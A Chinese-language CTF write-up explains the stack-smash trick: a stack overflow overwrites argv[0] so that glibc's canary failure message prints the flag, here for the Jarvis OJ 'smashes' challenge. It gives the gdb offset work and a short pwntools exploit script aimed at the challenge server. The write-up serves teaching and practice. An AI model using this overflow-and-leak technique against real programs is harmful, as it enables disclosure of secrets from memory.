前提概要:
在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行__stack_chk_fail
函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。其代码如下:
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "");
}
所以说如果我们利用栈溢出覆盖argv[0]
为我们想要输出的字符串的地址,那么在 __fortify_fail
函数中就会输出我们想要的信息。
Jarvis OJ 上的一道题目,checksec
开了canary 和NX,再看一波IDA
有一个栈溢出漏洞,题目提示是overwrite the flag
查看一下byte_600d20
位置放着的就是类似flag的东西,说明flag应该就放在这里,但是我们直接栈溢出这里的内容是不可行的,因为我们写入的内容就放在这里,会直接覆盖掉,这里就用到了栈溢出的另一个技巧了
在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出,可以使用 gdb 的 search 来进行查找。
在memset处下个断点,可以看到我们输入的2222已经覆盖了0x600d20
处的flag ,但是在0x400d20
处还有另一处完整的flag,所以我们还是可以输入flag的,用这个地址。
那么接下来就要找到argv[0]
的距离读取字符串的偏移
在main函数下个断查看:
可以看到0x7fffffffe02f
指向的就是程序名(虽然我这里看着有点怪),其自然就是 argv[0]
,所以我们要修改的内容就是这里,而0x7fffffffdc58
保存着这个地址,所以我们其实修改的是0x7fffffffdc58
再在_I0_gets
处下断点查看v3的地址
我们可以看到IO_gets
其实是接收到rdi
中去的,而上一条语句mov rdi,rsp
也知道了其起始地址就是rsp:0x7fffffffda40
,接下来就可以算出偏移:
pwndbg> distance 0x7fffffffdc58 0x7fffffffda40
0x7fffffffdc58->0x7fffffffda40 is -0x218 bytes (-0x43 words)
exp:
from pwn import *
# p = process('./smashes')
p = remote("pwn.jarvisoj.com","9877")
context.log_level = 'debug'
payload = 'a'*0x218 + p64(0x400d20)
p.sendline(payload)
p.interactive()